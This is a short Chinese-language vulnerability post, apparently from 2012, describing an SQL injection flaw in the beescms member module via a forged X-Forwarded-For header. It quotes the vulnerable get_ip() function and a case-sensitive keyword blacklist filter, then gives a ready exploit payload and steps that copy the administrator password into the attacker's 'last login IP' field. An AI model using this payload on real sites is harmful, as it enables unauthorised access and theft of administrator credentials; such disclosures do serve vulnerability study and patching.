beescms X-Forwarded-For 注射

作者:hack1990 时间:12-09-17 阅读数:620人阅读

member/member.php文件
//........................
        $ip=fl_html(fl_value(get_ip()));
         $sql="update ".DB_PRE."member set member_time='{$addtime}',member_ip='{$ip}' where id={$last_id}";
        $GLOBALS['mysql']->query($sql);
 //........................
跟踪。{$_SESSION['m_ip']}来源。
 elseif($action=='out'){
         $m_ip=fl_html(fl_value(get_ip()));
         $_SESSION['m_ip']=$m_ip;
跟踪。fl_html(fl_value(get_ip()))来源。
get_ip()函数 www.2cto.com
 function get_ip(){
 if(!empty($_SERVER['HTTP_CLIENT_IP']))
         {
                 return $_SERVER['HTTP_CLIENT_IP'];
         }
         elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
         {
                 return $_SERVER['HTTP_X_FORWARDED_FOR'];
         }
         else
                 return $_SERVER['REMOTE_ADDR'];
         }
 }
get_ip()函数可伪造。
fl_value()函数
 function fl_value($str){
         if(empty($str)){return;}
         return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\sss=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
 |outfile/','',$str);//大小写可绕过。
 }
fl_html()函数不影响我们。
 function fl_html($str){
         return htmlspecialchars($str);
 }
exp:注册用户。修改X-Forwarded-For:127.1',member_ip=(SELECT admin_password FROM  bees_admin)   whEre member_user='你的用户'#。登陆。上次登陆IP变为管理员密码

发表评论